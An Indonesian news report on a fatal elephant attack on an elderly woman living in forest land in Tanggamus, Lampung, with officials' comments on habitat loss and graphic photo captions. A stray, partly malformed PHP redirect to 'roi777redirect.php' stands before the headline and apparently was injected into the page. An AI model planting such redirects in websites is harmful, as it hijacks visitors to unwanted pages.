header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Lahan Makan Habis, Kawanan Gajah "Makan" Manusia di Register 39 Tanggamus -
Lahan Makan Habis, Kawanan Gajah “Makan” Manusia di Register 39 Tanggamus
HARAPKAN PENANGANAN TEGAS: Masyarakat Tanggamus sangat berharap pihak-pihak tekait buka mata, telinga, hati, dan pikiran untuk serius menangani konflik satwa gajah dengan perambah, yang pada Selasa (3/7) akhirnya menewaskan satu perambah. (Foto: SCREENSHOT FACEBOOK)

TRANSLAMPUNG.COM, TANGGAMUS – Diduga lantaran tidak adanya ketegasan dari pihak terkait untuk mengusir kelompok perambah dari hutan Register 39 Kabupaten Tanggamus, akhirnya konflik gajah versus manusia menelan korban jiwa. Surip yang sudah berusia senja, tewas dengan kondisi tubuh hancur terkoyak, lantaran diduga menjadi bulan-bulanan kawanan gajah.

Peristiwa mengejutkan itu terjadi di wilayah hutan Register 49 Talang Marno Blok 6 Kecamatan Bandarnegeri Semuong, Selasa (3/7) dini hari. Sekitar pukul 03.30 WIB, kala kawanan gajah turun dan mendatangi Talang Marno, sekelompok warga yang diduga menjadi perambah di Register 39 sedang terlelap di gubuk mereka.

Berdasarkan informasi yang berhasil dihimpun dari tiga elemen narasumber, yaitu Unit Pelaksana Teknis Dinas Kesatuan Pengelola Hutan (KPH) Kotaagung Utara, Pemkab dan Polres Tanggamus, korban jiwa yang tewas dengan kondisi mengenaskan berjenis kelamin perempuan.

Kepala UPTD KPH IX Kotaagung Utara Zulhaidir membenarkan peristiwa mengejutkan tersebut. Dia menjelaskan, kronologis kejadiannya, saat melihat kedatangan segerombolan gajah tersebut kelompok perambah di sekitar Talang Marno Blok 6 pun berhamburan keluar dari rumah. Mereka berjaga dan bersiaga.

Bukannya menjauh, gerombolan gajah terus bergerak menuju mendekat gubuk yang dihuni oleh Surip, sekitar pukul 03.30 WIB. Saat berada di pekarangan gajah, merusak dan memakan tanaman di pekarangan gubuk milik Surip.

“Melihat hal tersebut, Surip bermaksud untuk mengusir gerombolan gajah. Namun upaya tersebut tidak berhasil. Kawanan gajah malah semakin mengamuk dan menyebabkan Surip tewas mengenaskan dengan kondisi tubuh hancur,” ungkap Zulhaidir.

SEPOTONG TANGAN: Inilah potongan tubuh bagian tangan milik korban Surip (83) yang tewas mengenaskan akibat amukan kawanan gajah. (Foto: IST)

Kemudian saat ditanya lebih dalam soal pemicu kawanan gajah yang mengamuk, Zulhaidir belum dapat menjawabnya dengan jelas. Dia hanya bisa memperkirakan kawanan gajah mengamuk karena tertekan dan kehabisan bahan makanan di habitatnya.

“Mungkin karena gajah merasa terancam (di tempatnya). Kami sudah laporkan ke atasan soal kejadian ini. Dan sekarang menunggu perintah lebih lanjut,” singkat Zulhaidir.

BAGIAN KAKI: Potongan tubuh bagian kaki ini, juga diidentifikasi merupakan jasad Surip (83). (Foto: IST)

Kapolres Tanggamus Pastikan Surip adalah Wanita
TAK jauh berbeda dengan pernyataan Kepala UPTD KPH Kotaagung Utara Zulhaidir, Kapolres Tanggamus AKBP I Made Rasma juga membenarkan peristiwa amukan gajah liar yang mengakibatkan satu orang meninggal dunia.

“Benar dini hari tadi kami mendapatkan informasi dari warga bahwa telah terjadi konflik antara gajah dengan manusia. Lalu mengkibatkan seorang perambah meninggal dunia,” ujar I Made Rasma.

Setelah menerima laporan, kapolres menyebutkan, tim gabungan yang dipimpin Kapolsek Wonosobo bersama Satgas Taman Nasional Bukit Barisan Selatan (TNBBS) dan Balai Konservasi Sumber Daya Alam (BKSDA) segera meninjau lokasi konflik satwa versus manusia. Tim gabungan juga mengidentifikasi korban yang tewas.

“Dari sumber yang didapatkan tim diokasi, korban tewas yang bernama Surip, berumur 83 tahun, dan berjenis kelamin perempuan. Korban tinggal sendirian di gubuk dan indra penglihatannya tidak normal lantaran sakit katarak,” beber kapolres.

Perambah Menjamur, Satgas Kesulitan Atasi Konflik Gajah
KAPOLRES Tanggamus AKBP I Made Rasma mengakui, jika dulu pernah ada rapat koordinasi forkopimda dengan instusi terkait. Tujuannya untuk penanggulangan konflik gajah dengan manusia.

“Namun satgas memiliki kesulitan, karena lokasi konflik tersebut merupakan kawasan atau habitat gajah. Sedangkan perambah sudah terlampau banyak yang masuk pada area kawasan tersebut untuk membuka ladang,” terang I Made Rasma.

Dirinya juga mengungkapkan, Polres Tanggamus bersama Satgas Konflik Gajah dari TNBS, BKSDA, serta NGO telah melakukan langkah-langkah untuk mensosialisasikan kepada perambah, agar tidak masuk ke hutan kawasan register dan merusak habitat gajah.

“Guna menghindari jatuhnya korban jiwa lainnya, kami imbau dengan tegas kepada penduduk yang masih menempati gubuk-gubuk di kawasan hutan register agar meninggalkan lokasi,” tandas kapolres. (ayp)

News Reporter
Kepala Biro Tanggamus